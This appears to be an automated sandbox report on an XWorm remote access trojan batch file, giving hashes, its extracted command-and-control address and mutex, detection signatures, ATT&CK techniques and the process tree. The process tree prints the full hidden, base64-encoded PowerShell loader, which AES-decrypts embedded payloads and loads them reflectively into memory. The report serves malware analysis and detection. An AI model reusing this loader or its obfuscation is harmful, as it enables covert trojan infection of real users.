xworm | e2e4a15190051f6a87bb10eab12b12744580d7d69b56c2c38a278865f10c2921

General

Target

e2e4a15190051f6a87bb10eab12b12744580d7d69b56c2c38a278865f10c2921.bat
Size

64KB
MD5

c9e1c4149f24616a23b6849386c8a045
SHA1

5a37e61994c77777c7bb6953eed8d336ad67645c
SHA256

e2e4a15190051f6a87bb10eab12b12744580d7d69b56c2c38a278865f10c2921
SHA512

52b92498d60e90d4f86751c8a682c80aa2cbacfab808f0c85d289491c8754d6e16649c750cd6e79024ef7052fc11a968efc23e2ace86ebe3aa8dc04c44f957dc
SSDEEP

1536:FmZkbmEKUgXEXzICKUnFevg9GPlv4hULBsbVnHk/bGvSHe5BNR:F3Hf0IkqbtHk/bGg83R

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

tripplebanks.duckdns.org:3399

Mutex

Lgqsm4XWzB9LrFCO

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4460-21-0x0000024D7E510000-0x0000024D7E520000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
33	4460	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4460	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_0ab3533b.cmd	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_0ab3533b.cmd	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4460	powershell.exe
4460	powershell.exe
4460	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4460	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4460	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2404 wrote to memory of 4700	2404	cmd.exe	86
PID 2404 wrote to memory of 4700	2404	cmd.exe	86
PID 4700 wrote to memory of 4460	4700	cmd.exe	88
PID 4700 wrote to memory of 4460	4700	cmd.exe	88

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\e2e4a15190051f6a87bb10eab12b12744580d7d69b56c2c38a278865f10c2921.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\e2e4a15190051f6a87bb10eab12b12744580d7d69b56c2c38a278865f10c2921.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskaXdsanAgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGl3bGpwKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRpd2xqcCIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRpd2xqcCwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkaXdsanAiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gamJheWUoJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0kvbHMzQUxBRG5qQlA3MGZOSUZQQnJ0QUlKLzY3YWJyS24xbUZkYWd1aGc9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ3hSeWFtOERtNnNIZHUwbWRXT2dCakE9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gY2l0am4oJHBhcmFtX3Zhcil7CSRhdmhlZD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkaHNwamI9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkZnVyZXI9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkYXZoZWQsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJGZ1cmVyLkNvcHlUbygkaHNwamIpOwkkZnVyZXIuRGlzcG9zZSgpOwkkYXZoZWQuRGlzcG9zZSgpOwkkaHNwamIuRGlzcG9zZSgpOwkkaHNwamIuVG9BcnJheSgpO31mdW5jdGlvbiBkbXNrZigkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJGN1dGtxPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGhkZndiPSRjdXRrcS5FbnRyeVBvaW50OwkkaGRmd2IuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGl3bGpwOyRqYXZzej1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGl3bGpwKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkamR1IGluICRqYXZzeikgewlpZiAoJGpkdS5TdGFydHNXaXRoKCc6OiAnKSkJewkJJGVzYXRtPSRqZHUuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGdzY2RxPVtzdHJpbmdbXV0kZXNhdG0uU3BsaXQoJ1wnKTskanhkbW49Y2l0am4gKGpiYXllIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGdzY2RxWzBdKSkpOyRpcXJxdD1jaXRqbiAoamJheWUgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZ3NjZHFbMV0pKSk7ZG1za2YgJGp4ZG1uICRudWxsO2Rtc2tmICRpcXJxdCAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4460

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c5c1q1fr.qe4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\dwm.bat

Filesize
64KB

MD5
c9e1c4149f24616a23b6849386c8a045

SHA1
5a37e61994c77777c7bb6953eed8d336ad67645c

SHA256
e2e4a15190051f6a87bb10eab12b12744580d7d69b56c2c38a278865f10c2921

SHA512
52b92498d60e90d4f86751c8a682c80aa2cbacfab808f0c85d289491c8754d6e16649c750cd6e79024ef7052fc11a968efc23e2ace86ebe3aa8dc04c44f957dc

Download Submit
memory/4460-16-0x00007FFE0A170000-0x00007FFE0AC31000-memory.dmp

Filesize
10.8MB

Download
memory/4460-13-0x00007FFE0A170000-0x00007FFE0AC31000-memory.dmp

Filesize
10.8MB

Download
memory/4460-14-0x00007FFE0A170000-0x00007FFE0AC31000-memory.dmp

Filesize
10.8MB

Download
memory/4460-3-0x0000024D7E0A0000-0x0000024D7E0C2000-memory.dmp

Filesize
136KB

Download
memory/4460-2-0x00007FFE0A173000-0x00007FFE0A175000-memory.dmp

Filesize
8KB

Download
memory/4460-17-0x00007FFE0A170000-0x00007FFE0AC31000-memory.dmp

Filesize
10.8MB

Download
memory/4460-18-0x0000024D7E4D0000-0x0000024D7E4D8000-memory.dmp

Filesize
32KB

Download
memory/4460-19-0x0000024D7E4E0000-0x0000024D7E4EE000-memory.dmp

Filesize
56KB

Download
memory/4460-21-0x0000024D7E510000-0x0000024D7E520000-memory.dmp

Filesize
64KB

Download
memory/4460-22-0x00007FFE0A173000-0x00007FFE0A175000-memory.dmp

Filesize
8KB

Download
memory/4460-23-0x00007FFE0A170000-0x00007FFE0AC31000-memory.dmp

Filesize
10.8MB

Download

Analysis

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